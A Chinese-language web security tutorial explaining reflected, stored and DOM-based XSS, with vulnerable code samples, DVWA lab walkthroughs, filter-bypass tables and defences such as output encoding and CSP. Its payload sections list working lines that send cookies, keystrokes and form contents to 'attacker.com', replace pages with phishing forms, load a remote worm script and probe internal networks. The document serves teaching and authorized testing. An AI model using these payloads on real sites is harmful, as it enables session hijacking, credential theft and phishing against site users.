Web渗透之前后端漏洞-XSS漏洞原理攻击防御全流程

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录太多了第一次放直接给文章吞了,就暂时不放目录了,先给个截图

一、XSS-反射型

反射型 XSS(Reflected Cross-Site Scripting)

一、定义与核心特征

反射型 XSS 是一种非持久性的跨站脚本攻击。恶意脚本不存储在目标服务器上,而是作为请求参数的一部分(通常通过 URL 或表单提交)发送给服务器,服务器直接将未经净化(sanitize)的参数值反射到响应页面中,最终在受害者的浏览器中执行。

"反射"二字的来源:攻击者的恶意数据像镜子一样被服务器"照单全收"并立即弹回给浏览器。


二、攻击原理(分步图解)

关键点

  • 恶意脚本从未被写入数据库,全程仅存在于 HTTP 请求和响应中。

  • 受害者的浏览器信任来自目标域名的响应,因此会执行其中的脚本。


三、典型代码示例(漏洞与利用)

3.1 存在漏洞的后端代码(PHP + HTML)
复制代码
<?php
    $search = $_GET['q'];
    echo "<h2>您搜索的关键词是:</h2>";
    echo "<p>" . $search . "</p>";   // 直接输出,未转义
?>
3.2 攻击者构造的恶意链接
复制代码
http://victim.com/search.php?q=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

受害者的浏览器会:

  • attacker.com 发送包含其 Cookie 的请求 → 会话劫持

  • 也可以直接弹窗钓鱼、伪造表单等

3.3 利用场景扩展(不仅仅是 URL 参数)
  • Referer 头反射 :某些网站会将 Referer 值原样打印到页面。

  • User-Agent 反射:统计页面显示浏览器标识,未转义。

  • 表单隐藏字段反射:POST 参数值被回显。


四、反射型 XSS 的危害

尽管反射型无法直接像存储型 XSS 那样"感染"其他用户,但结合社会工程学,它依然能造成严重破坏:

攻击目的 具体手段
Cookie 劫持 document.cookie 发送给攻击者 → 免登录进入账户
钓鱼欺骗 伪造登录框、中奖信息,诱骗用户输入密码
内网扫描 通过 JavaScript 的 fetch 探测内网 IP 和端口
键盘记录 监听 onkeydown 事件,记录敏感输入
会话固定攻击 在 URL 中植入特定 SESSIONID,然后诱使用户登录
强制下载恶意文件 使用 location.href 重定向到恶意软件下载链接

真实案例:2018 年某知名招聘网站反射型 XSS 漏洞曾导致求职者点击"简历预览"链接后,Cookie 被窃取,账户内简历信息被批量导出。


五、与其他 XSS 类型的对比

特性 反射型 XSS 存储型 XSS DOM 型 XSS
恶意脚本存储位置 不存在(仅存在于请求中) 服务器数据库/文件系统 不存在(纯客户端)
触发时机 用户点击恶意链接 访问任何包含漏洞的页面 前端代码直接操作 location.hash
危害范围 单个用户(需要诱导) 所有访问受影响页面的用户 当前页面上下文
检测难度 低(抓包可见参数反射) 中(需检查存储点) 高(需审计 JS 逻辑)
典型修复方式 输出编码 + 输入过滤 输入过滤 + 输出编码 + 数据库存储转义 避免 innerHTMLeval,使用安全 API
是否需要服务器配合 是(服务器反射参数) 是(服务器存储) 否(纯客户端)

六、检测方法(手工 + 自动化)

6.1 手工测试步骤
  1. 注入检测字符串 :在 URL 参数或表单中插入 '"<> 等特殊字符,观察页面源码是否原样输出。

  2. 简单 payload<script>alert(1)</script>

  3. 检查不同上下文

    • HTML 属性内:"><script>alert(1)</script>

    • JavaScript 代码内:'};alert(1);//

    • CSS 内:</style><script>alert(1)</script>

6.2 自动化扫描工具
  • Burp Suite (Intruder):用 Payload 字典批量发包,检测响应中的反射模式。

  • XSStrike:专门检测 XSS 的主动扫描工具,支持绕过 WAF。

  • AWVS / AppScan:商业漏洞扫描器,通常能发现反射型 XSS。

6.3 利用浏览器的开发者工具
  • 在 Network 面板查看请求参数是否完整返回。

  • 在 Elements 面板查看注入点是否被解析为 HTML/JS 标签。


七、防御措施(纵深防御)

7.1 输出编码(最有效)

根据输出位置进行相应的转义:

输出上下文 编码方式 示例
HTML 标签之间 HTML 实体编码 <<>>
HTML 属性值 十六进制编码或实体编码 ""
<script> 内部 JavaScript 转义 '\'\x27
CSS 内 CSS 转义 ;\3B
URL 参数值 URL 编码 <%3C

安全函数示例

  • PHP:htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8')

  • Java:StringEscapeUtils.escapeHtml4()

  • Python:html.escape()

7.2 输入过滤与验证
  • 白名单验证:数字、字母、特定格式(如日期)。

  • 黑名单过滤 :移除 <script>javascript:onload= 等危险字串(注意绕过风险)。

注意:输入过滤不能代替输出编码,因为攻击数据可能以不同方式进入服务器(如数据库存储后再输出)。

7.3 使用 HTTP 头增强防护
  • Content-Security-Policy (CSP):限制脚本来源,例如:

    复制代码
    Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'

    可以阻止执行内联 <script>eval() 类代码。

  • X-XSS-Protection(已废弃但仍有部分浏览器支持):

    复制代码
    X-XSS-Protection: 1; mode=block
复制代码
Set-Cookie: sessionid=abc123; HttpOnly

这样,即使存在 XSS,攻击者也无法通过 document.cookie 窃取该 Cookie。


八、反射型 XSS 的局限性

  • 需要用户交互:必须诱使用户点击恶意链接或提交恶意表单。

  • 可能被短链接服务屏蔽:某些平台会检测可疑域名。

  • 部分浏览器内置 XSS 过滤器(已逐渐废弃)可能拦截。

  • HTTPS 下的 Referer 头可能不携带完整 URL,影响攻击传递。


九、实战练习建议

在本地靶场环境中练习反射型 XSS 的发现与利用:

  • DVWA (XSS reflected):设置难度从 low 到 impossible,观察代码变化。

  • bWAPP (Buggy Web Application):包含反射型 XSS 的不同上下文实例。

  • PortSwigger Web Security Academy:提供在线反射型 XSS 实验,附解题说明。


十、靶场演示

在 DVWA 的 Reflected XSS 模块中,通过注入 <script>alert(1)</script> 使浏览器弹窗,验证反射型 XSS 漏洞的存在。


操作步骤
启动靶场并登录
  • 确保 DVWA 环境已配置(如使用 XAMPP、Docker 或在线靶场)

  • 访问 DVWA 首页,输入用户名/密码(默认 admin/password

  • 在左侧菜单中将 Security Level 设置为 low

进入反射型 XSS 模块
  • 点击左侧导航栏 XSS (Reflected)
观察正常输入
  • 页面上方有一个输入框:"What's your name?"

  • 正常输入任意字符串(例如 test),点击 Submit 按钮

  • 页面会显示:Hello test,URL 变成类似:

    复制代码
    http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=test#
注入恶意脚本
  • 在输入框中输入:

    复制代码
    <script>alert(1)</script>
  • 点击 Submit 按钮

触发漏洞
  • 浏览器立即弹出一个对话框,内容为 1

  • 同时 URL 变为:

    复制代码
    http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>alert(1)</script>

漏洞原理解析

查看 DVWA Low 级别的后端源码:

复制代码
<?php
header ("X-XSS-Protection: 0");   // 关闭浏览器自带的XSS过滤器
​
if( array_key_exists( "name", $_GET ) && $_GET[ "name" ] != NULL ) {
    echo '<pre>Hello ' . $_GET[ "name" ] . '</pre>';
}
?>
  • 没有对 name 参数做任何过滤或转义,直接将用户输入拼接到 HTML 中

  • 输入 <script>alert(1)</script> 后,最终返回给浏览器的 HTML 片段为:

    复制代码
    <pre>Hello <script>alert(1)</script></pre>
  • 浏览器解析 HTML 时,将 <script> 视为 JavaScript 代码并执行


反射型 XSS 的关键特征
  • 恶意脚本不存储在服务器,仅通过 URL 参数或表单传递

  • 需要诱导用户点击特制链接 (例如:http://dvwa/vulnerabilities/xss_r/?name=<script>alert(1)</script>

  • 服务器立即"反射"输入内容到响应页面

十一、总结

反射型 XSS 虽然不是最危险的 XSS 类型(存储型通常危害更大),但它由于出现频率高、检测简单、修复容易,是渗透测试入门必须掌握的漏洞之一。开发人员应当牢记:

所有用户输入的数据在输出到 HTML 之前都必须进行上下文敏感的编码,永远不要信任浏览器会无害化处理。

二、XSS-储存型

存储型 XSS(Stored Cross-Site Scripting)

一、定义与核心特征

存储型 XSS 是一种持久性的跨站脚本攻击。恶意脚本被永久存储在目标服务器上(如数据库、文件系统、评论框等),当其他受害者访问包含该恶意脚本的页面时,脚本会自动从服务器加载并在其浏览器中执行。

"存储"二字的来源:攻击者的恶意数据像"毒药"一样被保存在服务器中,每个访问该页面的用户都会"中毒"。


二、攻击原理(分步图解)

关键点

  • 恶意脚本持久化存储在服务器端,无需再次注入。

  • 任何访问受影响页面的用户都可能成为受害者,攻击半径极大


三、典型代码示例(漏洞与利用)

3.1 存在漏洞的后端代码(PHP + MySQL)
复制代码
// 存储评论(写入数据库)
$comment = $_POST['comment'];
$query = "INSERT INTO comments (content) VALUES ('$comment')";
mysql_query($query);
​
// 显示评论(从数据库读取)
$result = mysql_query("SELECT content FROM comments");
while($row = mysql_fetch_array($result)){
    echo "<div>" . $row['content'] . "</div>";   // 直接输出,未转义
}
3.2 攻击者提交的恶意评论
复制代码
<script>
    fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

此后,所有访问该留言板的用户,浏览器都会自动向攻击者服务器发送其 Cookie。

3.3 常见存储点
  • 评论区、论坛帖子、留言板

  • 用户个人资料(昵称、签名、自我介绍)

  • 商品评价、问答区

  • 聊天记录(WebSocket 实时消息)

  • 文件上传后的文件名/描述


四、存储型 XSS 的危害(对比反射型更严重)

危害类型 具体表现
大规模会话劫持 所有访问页面的用户的 Cookie 都被窃取,攻击者可批量登录账户
持久性网页挂马 恶意脚本长期存在,搜索引擎爬虫也可能触发,导致网站被标记为"危险"
蠕虫传播 结合 CSRF(跨站请求伪造),恶意脚本可自动发帖、关注、私信,形成 XSS 蠕虫(如 2005 年 Samy 蠕虫)
键盘记录 监听页面的所有按键输入,窃取密码、信用卡号等
钓鱼表单覆盖 动态生成假的登录框,覆盖在正常页面上,骗取用户凭证
内部网络扫描 利用受害者的浏览器对内网 IP 和端口进行探测,绘制内网拓扑
浏览器漏洞利用 通过脚本加载浏览器漏洞(如 Heap Spray)实现远程代码执行

著名案例

  • Samy 蠕虫(2005):在 MySpace 上利用存储型 XSS,20 小时内感染超过 100 万用户。

  • Twitter(2010):通过"onmouseover"事件注入,导致用户鼠标划过即转发恶意推文。


五、与反射型 XSS 的对比

特性 存储型 XSS 反射型 XSS
恶意脚本存储位置 服务器数据库/文件系统 不存在(仅在请求中)
触发方式 自动执行(访问即触发) 需要诱导用户点击恶意链接
危害范围 所有访问受影响页面的用户 单个用户(需社工)
持久性 永久(除非手动删除) 一次性
是否需要钓鱼链接
检测难度 低(容易通过源码审计发现) 中(需遍历参数)
典型修复方式 输入过滤 + 输出编码 + 安全存储 输出编码 + CSP

六、检测方法

6.1 手工测试步骤
  1. 找到用户输入并存储的位置(如评论框、个人签名)。

  2. 提交典型 payload

    复制代码
    <script>alert(1)</script>
  3. 刷新页面或让其他用户访问,观察是否弹窗。

  4. 尝试绕过过滤(如大小写、双写、编码等)。

6.2 自动化工具
  • Burp Suite (Active Scan):自动提交 payload 并检查页面响应。

  • XSStrike:支持存储型 XSS 的检测与模糊测试。

  • AWVS / AppScan:商业扫描器中通常有存储型 XSS 检测模块。

6.3 需要注意的地方
  • 存储型 XSS 可能不在同一个页面提交和显示(如管理员审核面板、用户个人页),因此需要遍历所有输出点。

  • 有些存储型 XSS 需要特定权限 才可见(如管理员后台),普通用户注入的 payload 可能在后台被执行,形成**"二阶 XSS"**。


七、防御措施(纵深防御)

7.1 输出编码(最有效,与反射型相同)
输出上下文 编码方式
HTML 标签之间 HTML 实体编码(<<
HTML 属性值 十六进制编码或实体编码
<script> 内部 JavaScript 转义
CSS 内 CSS 转义
URL 参数值 URL 编码

安全函数示例

  • PHP:htmlspecialchars($input, ENT_QUOTES, 'UTF-8')

  • Java:StringEscapeUtils.escapeHtml4()

  • Python:html.escape()

  • .NET:WebUtility.HtmlEncode()

7.2 输入过滤与白名单
  • 对富文本内容(如允许 <b><i>)使用安全的解析库(如 DOMPurify、HTML Purifier),剔除危险标签和事件属性。

  • 限制输入长度,降低攻击载荷的复杂度。

7.3 使用 Content Security Policy (CSP)
复制代码
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxxx'
  • 禁止执行内联脚本(script-src 'unsafe-inline' 被移除)。

  • 限制脚本只能从特定域名加载。

复制代码
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly:禁止 JavaScript 访问 Cookie。

  • Secure:仅通过 HTTPS 传输。

  • SameSite=Strict:限制跨站请求携带 Cookie。

7.5 其他加固措施
  • 开启浏览器内置 XSS 过滤器(但作用有限,且在逐渐废弃)。

  • 使用框架的自动转义功能(如 React 默认转义、Angular 的上下文安全)。

  • 定期审查数据库中的用户输入,清理可疑脚本(作为事后补救)。


八、存储型 XSS 的绕过技巧(攻击者视角)

防御总是滞后于攻击,了解绕过手段有助于加强防护。

绕过方法 示例 对抗措施
大小写混淆 <ScRiPt>alert(1)</ScRiPt> 使用大小写不敏感的过滤器
双写关键字 <scr<script>ipt>alert(1)</scr</script>ipt> 递归过滤或使用专业解析库
编码绕过 <script>alert(1)</script> 在输出编码前进行输入标准化
事件属性 <img src=x onerror=alert(1)> 移除所有事件属性(如 on*
CSS 表达式 <div style="background:url('javascript:alert(1)')"> 限制 style 属性或使用 CSP
SVG 标签 <svg onload=alert(1)> 白名单允许的标签(富文本场景)

九、实战练习建议

在本地靶场中练习存储型 XSS 的发现与利用:

靶场 对应模块
DVWA XSS (Stored) -- Low/Medium/High/Impossible
bWAPP XSS - Stored (Blog)
PortSwigger Web Security Academy Stored XSS into HTML context
XSS Challenges Stage #3 开始涉及存储型

推荐练习步骤

  1. Low 级别:直接注入 <script>alert(1)</script>,观察效果。

  2. Medium 级别:尝试绕过 str_replace 过滤(如 <scr<script>ipt>)。

  3. High 级别:学习 htmlspecialchars 的作用,尝试寻找新的注入点。

  4. Impossible 级别:理解为什么存储型 XSS 在这里被彻底防御。


十、靶场演示

在 DVWA 的 Stored XSS 模块中,通过留言板的 Name 字段注入 <script>alert(1)</script>,使得该脚本永久存储到数据库,每次访问页面时自动执行。


详细操作步骤
1、环境准备
  • 确保 DVWA 安全级别设置为 low

  • 登录 DVWA(默认 admin/password

  • 点击左侧导航 XSS (Stored)

2、观察正常功能

页面是一个留言板(Guestbook),包含两个输入框:

  • Name(名字)

  • Message(留言内容)

  • 提交后,下方会显示所有访客的姓名和留言。

3、尝试直接注入(遇到长度限制)
  • Name 输入框中输入:<script>alert(1)</script>

  • 发现输入框最多只能输入 10 个字符 (HTML 中 maxlength=10),无法完整输入 payload。

4、绕过前端长度限制
  • 在页面上右键 → 检查元素(或按 F12 打开开发者工具)

  • 找到 Name 输入框对应的 HTML 代码:

    复制代码
    <input type="text" maxlength="10" size="30" name="txtName">
  • 双击 maxlength="10",将其修改为一个较大的值(如 100)或直接删除该属性。

  • 修改后,输入框不再限制长度。

5、注入恶意脚本
  • Name 输入框中输入:<script>alert(1)</script>

  • Message 输入框可以留空或填写任意内容(如 1

  • 点击 Sign Guestbook 按钮提交。

6、触发存储型 XSS
  • 提交后,页面刷新,留言板下方会显示:

    复制代码
    Name: <script>alert(1)</script>
    Message: 1
  • 同时浏览器立即弹出一个对话框,内容为 1(说明脚本已执行)

  • 即使刷新页面或重新进入该模块,弹窗依然会出现 ------ 因为恶意脚本已存储在数据库中。


漏洞原理解析

查看 DVWA Low 级别的后端源码:

复制代码
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
​
// 对输入进行转义(防止SQL注入)
$message = mysql_real_escape_string($message);
$name = mysql_real_escape_string($name);
​
// 插入数据库
$query = "INSERT INTO guestbook (comment, name) VALUES ('$message', '$name')";
​
// 显示留言时直接输出:
// echo "<div>Name: " . $name . "</div>";
  • 数据库转义mysql_real_escape_string)只防止 SQL 注入,不转义 HTML 标签

  • 从数据库取出 $name 后,直接拼接进 HTML 页面,没有使用 htmlspecialchars() 等输出编码函数。

  • 因此 <script> 标签被浏览器正常解析执行

十一、总结

存储型 XSS 是 XSS 类型中危害最大的一种,因为它无需用户交互即可影响大量用户。防御的核心原则是:

永远不要信任任何从数据库中取出的数据,在输出时必须进行上下文敏感的编码。

对于开发团队,建议采用框架级自动转义 + 内容安全策略(CSP) 作为主要防线,并定期进行安全审计和自动化扫描。

三、XSS-DOM型

DOM 型 XSS(DOM-based Cross-Site Scripting)

一、定义与核心特征

DOM 型 XSS 是一种纯客户端 的跨站脚本攻击。漏洞不在服务器端代码 ,而是由于前端 JavaScript 在操作 DOM 时,不安全地处理用户可控的输入 (如 document.locationdocument.referrerlocation.hash 等),并将恶意数据直接写入 HTML 或执行,从而导致脚本在受害者浏览器中执行。

与反射型/存储型的本质区别 :恶意脚本不需要经过服务器,完全是浏览器端的安全问题。服务器返回的页面本身是正常的,但页面中包含的 JavaScript 代码存在缺陷。


二、攻击原理(分步图解)

关键点

  • 服务器响应完全不包含恶意代码

  • 恶意代码是在客户端由 JavaScript 动态生成并执行。

  • URL 中的 #(片段标识符)部分不会发送到服务器,因此难以通过日志检测。


三、典型漏洞代码示例

3.1 危险写法 1:直接操作 location.hash
复制代码
// 漏洞代码:从hash中获取参数并直接写入HTML
var name = location.hash.substring(1);  // 获取 # 后面的内容
document.getElementById("welcome").innerHTML = "Hello " + name;

攻击者构造:http://victim.com/index.html#<img src=x onerror=alert(1)>

3.2 危险写法 2:使用 document.write
复制代码
// 漏洞代码:从URL参数中读取并写入
var param = location.search.split('=')[1];
document.write(param);

攻击者构造:http://victim.com/index.html?name=<script>alert(1)</script>

3.3 危险写法 3:使用 evalsetTimeout 拼接字符串
复制代码
// 漏洞代码:动态执行代码
var callback = location.hash.substring(1);
eval(callback);   // 如果传入 "alert(1)" 就会执行
3.4 危险写法 4:修改 innerHTMLouterHTML
复制代码
var userInput = location.search.split('=')[1];
document.getElementById("output").innerHTML = userInput;

四、DOM 型 XSS 的常见注入源

来源 说明 示例
document.URL 完整 URL 攻击者可在 URL 任意部分注入
document.location / location.href 当前 URL 同上
location.hash URL 中 # 后的部分 最常用,因为不发送到服务器
location.search URL 中 ? 后的参数 某些前端 SPA 会读取
document.referrer 来源页面 URL 可被攻击者伪造
document.cookie 虽然不常见,但若被恶意写入再读取也会有问题 跨子域风险

五、与反射型/存储型 XSS 的对比

特性 DOM 型 XSS 反射型 XSS 存储型 XSS
恶意代码位置 客户端 URL(hash/search) 服务器响应中 服务器数据库
是否需要服务器参与 否(仅有静态资源) 是(服务器反射) 是(服务器存储+输出)
检测方法 需要审计 JavaScript 代码 抓包看参数反射 提交后看持久化效果
WAF 能否防御 难,因为流量正常 容易,可检测参数特征 容易,可检测存储内容
修复方式 前端 JS 安全编码 后端输出编码 后端输出编码/输入过滤
日志可见性 无(hash 不记录) 有(URL 全路径) 有(数据库内容)

六、DOM 型 XSS 的危害

与反射型/存储型类似,但由于它完全绕过服务器,有以下特殊危害:

  • 隐蔽性极高# 后的内容不会出现在服务器日志,难以溯源。

  • 可配合前端路由 :现代 SPA 应用(React、Vue、Angular)中,若使用不安全的 innerHTMLdangerouslySetInnerHTML,极易出现 DOM XSS。

  • 绕过常见防护 :服务器端的 htmlspecialchars() 和 WAF 规则无法防御,因为它们根本看不到恶意数据。

  • 影响范围:单次点击(同反射型),但若与存储结合(如将恶意链接保存在数据库中),可变成存储型 DOM XSS。


七、检测方法

7.1 手工测试
  1. 在 URL 的 # 后插入简单 payload:

    复制代码
    http://victim.com/page.html#<script>alert(1)</script>
  2. 观察是否有弹窗。

  3. 尝试不同位置:?param=<script>alert(1)</script>#、以及修改 document.referrer(通过钓鱼页面)。

7.2 查看前端代码
  • 打开浏览器开发者工具 → 查看页面中是否存在以下危险函数:

    • innerHTMLouterHTML

    • document.write()

    • eval()setTimeout()setInterval() 带动态参数

    • location.hash / location.search 被直接使用

7.3 自动化工具
  • DOMinator:专门检测 DOM XSS 的工具。

  • Burp Suite 的 DOM Invader:内置的 DOM XSS 检测模块。

  • Google 的 DOM Snitch:浏览器扩展,监控危险 sink 函数。


八、防御措施

8.1 避免使用危险的 sink 函数
  • 尽量使用 textContentinnerText 替代 innerHTML

  • 避免使用 document.write()(已被现代开发模式淘汰)。

  • 禁用 eval()new Function(),或严格审查传入的字符串。

8.2 使用安全的 API
  • DOMPurify:对 HTML 内容进行净化,剔除危险标签和属性。

  • sanitize-html(Node.js 端)或前端类似库。

8.3 输出编码(前端也要做)
复制代码
// 自定义转义函数
function escapeHTML(str) {
    return str.replace(/[&<>]/g, function(m) {
        if (m === '&') return '&amp;';
        if (m === '<') return '&lt;';
        if (m === '>') return '&gt;';
        return m;
    });
}
document.getElementById("out").textContent = escapeHTML(userInput);
8.4 启用 CSP(内容安全策略)
  • CSP 可以限制 eval() 的执行,并禁止内联脚本。

  • 使用 strict-dynamic 和 nonce 机制。

8.5 对 URL 参数进行严格校验
  • 如果必须使用 location.hash,应采用白名单方式,而不是直接插入 DOM。

九、DOM 型 XSS 的绕过技巧(攻击者视角)

绕过方法 示例 对抗措施
使用 # 绕过 WAF http://victim.com/#<script>alert(1)</script> 前端转义 + CSP
利用 javascript: 伪协议 <a href="javascript:alert(1)"> 限制链接 scheme
编码混淆 #\u003cscript\u003ealert(1)\u003c/script\u003e 前端先解码再转义
利用 DOM 属性 #<img src=x onerror=alert(1)> 白名单标签/属性
绕过基于关键字的过滤 #<ScRiPt>alert(1)</ScRiPt> 大小写不敏感匹配

十、实战练习(DVWA DOM XSS)

  1. 设置安全级别为 low

  2. 模块中通常有一个下拉选择框(语言选择),URL 类似:

    复制代码
    http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English
  3. 观察前端 JavaScript(查看源代码):

    复制代码
    var lang = document.location.href.split('default=')[1];
    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
  4. 构造恶意 URL:

    复制代码
    http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script>alert(1)</script>
  5. 点击提交,页面会弹出 1。(注意这里的 <script>document.write 写入,浏览器执行)

Medium/High 级别 会尝试过滤 <script> 等关键字,可以使用 <img src=x onerror=alert(1)> 或大小写绕过。


十一、总结

DOM 型 XSS 是前端安全的核心问题,随着单页应用(SPA)的流行,它的危害也在增加。防御的关键在于:

  • 永远不要信任客户端的数据源(URL、hash、referrer)。

  • 使用安全的 DOM 操作方法(textContent 代替 innerHTML)。

  • 实施 Content Security Policy 作为最后一道防线。

四、XSS-常用payload

以下汇总了 XSS 攻击中常用的有效载荷(Payload),按功能和应用场景分类。所有内容仅供安全测试和学习使用,请勿用于非法用途。


一、基础验证 Payload(用于确认漏洞存在)

Payload 说明
<script>alert(1)</script> 最简单的弹窗,测试基本执行
<script>alert(document.domain)</script> 弹出当前域名
<script>alert(document.cookie)</script> 弹出当前页面的 Cookie(验证能否窃取)
<script>console.log('XSS')</script> 在控制台输出,隐蔽性强
<img src=x onerror=alert(1)> 利用图片加载失败触发,绕过 <script> 过滤
<svg onload=alert(1)> SVG 标签直接加载执行
<body onload=alert(1)> 页面加载时触发
<input onfocus=alert(1) autofocus> 自动聚焦触发
<iframe src="javascript:alert(1)"> 利用 javascript: 伪协议

Payload 说明
<script>fetch('http://attacker.com/steal?c='+document.cookie)</script> 发送 Cookie 到攻击者服务器
<img src=x onerror="new Image().src='http://attacker.com/steal?c='+document.cookie"> 通过图片请求外传 Cookie
<script>document.location='http://attacker.com/steal?c='+document.cookie</script> 重定向到攻击者网站并带上 Cookie
<script>navigator.sendBeacon('http://attacker.com/steal', document.cookie)</script> 使用 sendBeacon API,即使页面关闭也会发送
<script>WebSocket('ws://attacker.com:8080').send(document.cookie)</script> 通过 WebSocket 外传数据

注意 :如果 Cookie 设置了 HttpOnly,则 document.cookie 无法读取,但其他敏感信息(如页面内容、token)仍可能被窃取。


三、键盘记录与表单劫持

Payload 说明
<script>document.onkeypress=function(e){fetch('http://attacker.com/log?k='+e.key)}</script> 记录用户按键并发送
<script>document.getElementById('login').onsubmit=function(){fetch('http://attacker.com/steal',{method:'POST',body:new FormData(this)})}</script> 劫持表单提交,窃取用户名/密码
<input type="password" name="fake" onchange="fetch('http://attacker.com?p='+this.value)"> 伪造密码输入框

四、内网探测与端口扫描

Payload 说明
<img src="http://192.168.1.1:80" onerror="alert('内网IP存活')"> 探测内网主机是否在线
<script>fetch('http://192.168.1.1:8080').catch(e=>console.log('端口关闭'))</script> 扫描内网服务端口
<script>new Image().src='http://10.0.0.1:22'</script> 利用图片加载超时判断端口开放

五、钓鱼与欺骗

Payload 说明
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">钓鱼内容</div> 覆盖整个页面,伪造登录框
<script>document.body.innerHTML='<form action="http://attacker.com/phish"><input name=user><input type=password><input type=submit>'</script> 完全替换页面内容为钓鱼表单
<a href="javascript:alert('钓鱼链接')">点击领奖</a> 伪装成正常链接

六、绕过长度限制

Payload 说明
<svg/onload=alert(1)> 利用自闭合标签,减少字符
<script/src=//attacker.com/x.js> 加载外部脚本,绕过长度限制
<body/onload=alert(1)> 极短 payload(17 字符)
<q/oncut=alert(1)> 利用剪贴板事件(短且隐蔽)

七、绕过标签过滤(WAF 绕过技巧)

7.1 大小写混淆
  • <ScRiPt>alert(1)</sCrIpT>
7.2 双写关键字
  • <scr<script>ipt>alert(1)</scr</script>ipt>(过滤后留下 <script>alert(1)</script>
7.3 使用 HTML 实体编码
  • <script>alert(1)</script>
7.4 使用 Unicode 编码
  • <script>\u0061\u006c\u0065\u0072\u0074(1)</script>
7.5 使用 javascript: 伪协议
  • <a href="javascript:alert(1)">click</a>

  • <iframe src="javascript:alert(1)">

7.6 使用事件属性(无需 <script> 标签)
事件 示例
onerror <img src=x onerror=alert(1)>
onload <body onload=alert(1)>
onmouseover <div onmouseover=alert(1)>hover</div>
onfocus <input onfocus=alert(1) autofocus>
onclick <button onclick=alert(1)>click</button>
onauxclick <button onauxclick=alert(1)>右键点击</button>
onkeydown <input onkeydown=alert(1)>
7.7 利用 CSS 表达式(仅旧版 IE)
  • <div style="width:expression(alert(1))">
7.8 利用 <meta> 刷新
  • <meta http-equiv="refresh" content="0;javascript:alert(1)">

八、DOM 型 XSS 专用 Payload

Payload 利用上下文
#<script>alert(1)</script> 通过 location.hash 注入
?default=<script>alert(1)</script> 通过 location.search 注入
javascript:alert(1) 点击链接执行(需有 a 标签)
"><svg/onload=alert(1)> 闭合 HTML 属性后注入

九、存储型 XSS 持久 Payload

  • XSS 蠕虫:通过脚本自动发帖、关注、评论,感染更多用户。

    复制代码
    // 假设留言表单的提交函数是 post_comment()
    var script = document.createElement('script');
    script.src = 'http://attacker.com/xss_worm.js';
    document.body.appendChild(script);
    // worm.js 中包含自动提交恶意留言的代码
  • 后台管理盲打:注入到后台管理页面,窃取管理员 Session。

    复制代码
    <script>new Image().src='http://attacker.com/steal?url='+location.href+'&cookie='+document.cookie</script>

十、测试 Payload 速查表

以下 Payload 可按顺序测试目标是否存在 XSS:

  1. <script>alert(1)</script>

  2. <img src=x onerror=alert(1)>

  3. <svg onload=alert(1)>

  4. <body onload=alert(1)>

  5. <input onfocus=alert(1) autofocus>

  6. <iframe src="javascript:alert(1)">

  7. <a href="javascript:alert(1)">click</a>

  8. "><script>alert(1)</script>

  9. ' onerror=alert(1) src=x

  10. javascript:alert(1)


注意事项

  • HttpOnly Cookie 无法通过 document.cookie 读取,但其他敏感信息(如页面中的 token、CSRF token)仍可能被窃取。

  • CSP 可以阻止大部分内联脚本和 eval(),需要使用更复杂的绕过(如利用现有白名单资源、base-uri 等)。

  • 所有测试必须在授权环境下进行,未经授权使用这些 Payload 属于违法行为。

五、XSS-防御和绕过

XSS 的攻防是一场持续的博弈。防御方需要层层设防(纵深防御),而攻击方则不断寻找过滤规则中的漏洞。以下从防御措施绕过技术两个维度详细展开,所有内容仅供授权安全测试使用。


一、XSS 防御体系(多层次防御)

1. 输出编码(最核心、最有效)

无论用户输入如何,在输出到 HTML 页面时,根据上下文进行正确的编码,使恶意代码失去执行能力。

输出上下文 编码方式 示例(PHP)
HTML 标签之间 HTML 实体编码 `htmlspecialchars($input, ENT_QUOTES
HTML 属性值(双引号内) 十六进制或实体编码 ""
HTML 属性值(单引号内) 十六进制编码 '
<script> 内部 JavaScript 转义 addslashes() 或自定义 \xHH 转义
CSS 内部 CSS 转义 ; 转为 \3B
URL 参数 URL 编码 rawurlencode()

关键原则:不要试图"过滤"输入,而要"编码"输出。输入过滤很可能被绕过,但正确的输出编码能确保任何危险字符都变成无害的文本。

2. 内容安全策略(CSP)

CSP 是浏览器提供的最后一道防线,可以极大限制 XSS 的影响。

复制代码
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';

推荐配置(严格模式)

复制代码
Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self'; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self';

重要指令

  • script-src 'nonce-<random>':仅允许包含特定 nonce 的内联脚本执行。

  • script-src 'strict-dynamic':信任已加载的脚本动态创建的其他脚本。

  • object-src 'none':禁止 Flash 等插件。

  • base-uri 'self':限制 <base> 标签,防止脚本路径劫持。

CSP 虽然强大,但配置复杂且可能破坏原有功能,需要逐步部署。

3. 输入过滤与白名单

对于特定格式的输入(如邮件地址、数字 ID),使用白名单正则验证。对于富文本(如博客评论),使用安全解析库(而非自己写正则)。

推荐库:

  • HTML Purifier (PHP)

  • DOMPurify (JavaScript)

  • Jsoup (Java)

  • Sanitize (Ruby)

示例(DOMPurify):

复制代码
var clean = DOMPurify.sanitize(dirtyHtml, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
    ALLOWED_ATTR: ['href']
});
  • HttpOnly:禁止 JavaScript 读取 Cookie(防止窃取)。

  • Secure:仅通过 HTTPS 传输。

  • SameSite=StrictLax:限制跨站请求携带 Cookie,可缓解部分 XSS+CSRF 组合攻击。

5. 使用安全的 API 避免 DOM XSS

危险(禁止使用)

复制代码
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
